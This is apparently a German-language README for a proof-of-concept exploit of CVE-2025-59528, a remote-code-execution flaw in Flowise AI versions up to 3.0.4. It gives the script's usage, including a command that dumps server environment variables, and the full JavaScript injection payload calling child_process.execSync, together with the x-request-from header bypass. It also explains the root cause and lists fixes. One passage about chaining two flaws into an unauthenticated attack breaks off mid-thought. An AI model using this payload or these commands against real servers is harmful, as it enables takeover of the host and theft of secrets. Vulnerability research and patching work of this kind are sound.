
Authentifizierte Remote-Code-Ausführung (RCE) Exploit für Flowise AI Versionen ≤ 3.0.4. Nutzt eine Schwachstelle im /api/v1/node-load-method/customMCP-Endpunkt aus, um beliebige Systembefehle über Node.js child_process.execSync() auszuführen. Enthält vollständiges PoC-Skript und Behebungsmaßnahmen.
CVE-ID: CVE-2025-59528
Betroffene Software: Flowise AI
Anfällige Versionen: <= 3.0.4
Behobene Version: 3.0.5 und später
Schweregrad: Kritisch
Autor: r3nsi15
Datum: 2025
Flowise AI-Versionen bis einschließlich 3.0.4 ermöglichen es einem authentifizierten Benutzer, Remote-Codeausführung (RCE) auf dem Host-Server zu erreichen, indem er ein manipuliertes JavaScript-Payload an den Endpunkt /api/v1/node-load-method/customMCP sendet.
Die load-Methode des customMCP-Knotens akzeptiert vom Benutzer kontrollierte Eingaben, die serverseitig als JavaScript ausgewertet werden, ohne ausreichende Bereinigung oder Sandboxing. Durch das Injizieren eines Payloads, das Node.js' child_process.execSync nutzt, kann ein Angreifer beliebige Betriebssystembefehle mit den Privilegien des Flowise-Serverprozesses ausführen.
Der Endpunkt erfordert außerdem, dass der Header x-request-from: internal vorhanden ist.
| Endpunkt | Methode | Authentifizierung erforderlich | Zweck |
|---|---|---|---|
/api/v1/auth/login | POST | Nein | Authentifizierung und Sitzungserhalt |
/api/v1/node-load-method/customMCP | POST | Ja (Sitzungscookie) | Anfälliger node-load-method-Endpunkt |
Datei: CVE-2025-59528_POC.py
requests-Bibliothekpip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Flagge | Langform | Erforderlich | Beschreibung |
|---|---|---|---|
-e | --email | Ja | E-Mail-Adresse des authentifizierten Benutzers |
-i | --url | Ja | Basis-URL der Flowise-Instanz |
-p | --password | Ja | Passwort des authentifizierten Benutzers |
-c | --cmd | Ja | Auf dem Server auszuführender Betriebssystembefehl |
Codeausführung überprüfen:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Umgebungsvariablen des Servers abrufen:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
Der Exploit injiziert den folgenden JavaScript-Ausdruck in das Feld mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — lädt Node.js' integriertes Modul zur Prozessausführung.execSync('<command>') — führt den vom Angreifer bereitgestellten Betriebssystembefehl synchron aus.Der Header x-request-from: internal wird ebenfalls an die Anfrage angehängt, um eine interne Herkunftsprüfung zu bestehen, die den Aufruf sonst blockieren würde.
Der Endpunkt customMCP übergibt benutzergesteuerte Eingaben direkt in einen JavaScript-Auswertungskontext auf dem Server, ohne Bereinigung oder Sandboxing. Zusammen mit dem uneingeschränkten Zugriff auf Node.js-Kernmodule (insbesondere child_process) über process.mainModule.require entsteht ein trivial ausnutzbarer RCE-Vektor. Die Überprüfung des Headers x-request-from bietet keine sinnvolle Sicherheitsgrenze, da er nicht gegen eine vertrauenswürdige Quelle validiert wird.
Diese beiden Schwachstellen können für einen nicht authentifizierten RCE-Angriffspfad gegen Flowise-Instanzen, die Versionen <= 3.0.4 ausführen, verkettet werden:
child_process, fs, usw.) durch eine ordnungsgemäße Sandbox (z. B. vm2, isolierte Kontexte oder Entfernen des Zugriffs auf process.mainModule).x-request-from über einen serverseitigen Mechanismus anstelle einer einfachen Zeichenkettenprüfung.Dieses Proof of Concept wird ausschließlich für pädagogische und autorisierte Sicherheitsforschungszwecke bereitgestellt. Die Verwendung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor und die Mitwirkenden übernehmen keine Haftung für Missbrauch.